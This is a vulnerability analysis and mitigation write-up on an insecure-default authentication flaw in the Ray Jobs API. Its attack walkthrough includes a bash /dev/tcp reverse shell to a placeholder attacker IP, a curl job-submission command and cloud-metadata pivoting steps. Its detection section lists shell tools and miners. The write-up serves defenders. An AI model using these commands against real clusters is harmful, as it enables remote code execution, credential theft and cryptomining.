CVE-2025-34351: 
Ray vulnerability analysis and mitigation

CVE-2025-34351 is an insecure default configuration vulnerability in Anyscale Ray (the open-source AI/ML distributed computing framework) in which token-based authentication for Ray management interfaces — including the dashboard and Jobs API — is disabled unless explicitly enabled by setting RAY_AUTH_MODE=token. Affecting Ray versions up to and including 2.52.0, it was published on November 27, 2025, and represents an incomplete fix for the previously known CVE-2023-48022. Note: This CVE has been formally rejected/withdrawn by MITRE at the request of the CVE TL-Root, on the grounds that it did not identify a valid vulnerability under the vendor's product security model and conflicts with CVE-2023-48022; however, the underlying security concern remains real and documented. The CVSS v4 base score is 9.3 (Critical) (GitHub Advisory, GHSA-w8vc-465m-jjw6).

The root cause is classified as CWE-1188 (Initialization of a Resource with an Insecure Default) and CWE-304 (Missing Critical Step in Authentication): Ray 2.52.0 introduced a token authentication mechanism as a partial remediation for CVE-2023-48022, but left it disabled by default, requiring administrators to explicitly opt in via the RAY_AUTH_MODE=token environment variable (GitHub Advisory). In the default unauthenticated state, the Ray dashboard (typically port 8265) and Jobs API are accessible to any network-reachable client without credentials. An attacker can exploit this by directly submitting jobs to the Ray Jobs API, which executes arbitrary Python code on the cluster nodes with the privileges of the Ray service account. No authentication bypass or memory corruption is required — the attack surface is the intentionally exposed but unprotected management interface (GHSA-w8vc-465m-jjw6, VulnCheck Advisory).

A remote, unauthenticated attacker with network access to an exposed Ray cluster can submit arbitrary jobs and execute arbitrary code on all cluster nodes, resulting in full compromise of confidentiality, integrity, and availability of the Ray environment. This includes exfiltration of training data, model weights, credentials, and other sensitive AI/ML artifacts stored on or accessible from the cluster. Given that Ray clusters often operate with broad cloud IAM permissions and access to sensitive datasets, successful exploitation can enable lateral movement into connected cloud infrastructure and downstream systems (GitHub Advisory, GHSA-w8vc-465m-jjw6).

No public proof-of-concept exploit code specific to CVE-2025-34351 has been reported; however, the exploitation technique is trivially simple — submitting a job via the Ray Jobs API requires only standard HTTP requests and no special tooling (GitHub Advisory). The predecessor vulnerability CVE-2023-48022 was actively exploited in the wild in campaigns documented by Oligo Security ("ShadowRay"), demonstrating that threat actors actively target exposed Ray clusters for cryptomining, reverse shells, and AI model theft (GHSA-w8vc-465m-jjw6). The EPSS score is approximately 0.47% (64th percentile), and the CVE is not currently listed in the CISA KEV catalog. The CVE has been formally rejected by MITRE, but the security risk for unprotected deployments remains.

1. Reconnaissance: Use Shodan, Censys, or similar tools to identify internet-exposed Ray dashboard instances (default port 8265) or Jobs API endpoints (default port 8265/api/jobs). Look for HTTP responses characteristic of the Ray dashboard.
2. Verify unauthenticated access: Send an HTTP GET request to http://<target>:8265/api/jobs/ — if the cluster is running in default configuration, it will return a JSON list of jobs without requiring any authentication token.
3. Craft malicious job payload: Prepare a Python script containing the desired payload (e.g., reverse shell, data exfiltration command, or cryptominer). Example:

   import subprocess
   subprocess.Popen(['bash', '-c', 'bash -i >& /dev/tcp/<attacker_ip>/<port> 0>&1'])

4. Submit job via Jobs API: POST the job to the Ray Jobs API endpoint:

   curl -X POST http://<target>:8265/api/jobs/ \
     -H 'Content-Type: application/json' \
     -d '{"entrypoint": "python -c \"import subprocess; subprocess.Popen([...])\"" }'

5. Achieve code execution: The Ray head node schedules and executes the submitted job on cluster workers, granting the attacker arbitrary code execution with the Ray service account's privileges.
6. Lateral movement: Use the established foothold to access cloud metadata services, enumerate IAM credentials, pivot to connected storage (S3, GCS), or propagate to other cluster nodes (GHSA-w8vc-465m-jjw6, GitHub Advisory).

• Network: Unexpected inbound HTTP POST requests to /api/jobs/ on port 8265 from external or unknown IP addresses; outbound connections from Ray worker nodes to unknown external IPs (potential reverse shells or C2 beacons); unusual data transfers to external cloud storage endpoints.
• Logs: Ray dashboard/API access logs showing job submissions from unauthenticated or unexpected sources; job entries in Ray logs with unusual entrypoints (e.g., bash, curl, python -c, base64-encoded commands); repeated API polling of /api/jobs/ from a single external IP.
• Process: Unexpected child processes spawned by Ray worker processes (e.g., bash, sh, curl, wget, python) not associated with legitimate workloads; cryptomining processes (e.g., xmrig) running under the Ray service account.
• File System: New or modified scripts in Ray working directories; unexpected cron jobs or systemd services created by the Ray user; presence of reverse shell scripts or downloaded binaries in /tmp or Ray temp directories.
• Cloud/IAM: Unusual API calls to cloud metadata services (e.g., http://169.254.169.254) from Ray nodes; unexpected IAM credential usage or new cloud resource provisioning originating from Ray cluster nodes (GHSA-w8vc-465m-jjw6).

The vendor has not released a patched version that enables token authentication by default; no fixed version is listed in the advisory. The primary mitigation is to explicitly enable token-based authentication by setting the environment variable RAY_AUTH_MODE=token on all Ray cluster deployments — follow the official guide at https://docs.ray.io/en/latest/ray-security/token-auth.html. Additionally, restrict network access to Ray management interfaces (ports 8265 and related) using firewalls, security groups, or network policies so they are not publicly reachable. Audit existing cluster configurations for unauthorized job submissions and implement network segmentation to limit blast radius if a cluster is compromised (GitHub Advisory, Ray Token Auth Docs).

Security researcher Jonathan Leitschuh (JLLeitschuh) published the advisory and highlighted the issue on LinkedIn, noting that Ray 2.52.0's authentication fix for CVE-2023-48022 was incomplete because it was not enabled by default (GHSA-w8vc-465m-jjw6). Oligo Security has previously documented active exploitation of the predecessor vulnerability (CVE-2023-48022) in the "ShadowRay" campaign, where threat actors hijacked exposed Ray clusters for cryptomining and AI model theft, providing real-world context for the severity of this class of issue (GHSA-w8vc-465m-jjw6). The CVE was subsequently rejected by MITRE following a dispute by the vendor (Anyscale/The Ray Team), who argued the behavior does not constitute a vulnerability under their product security model, creating controversy around the CVE program's handling of insecure-default configurations in AI/ML infrastructure.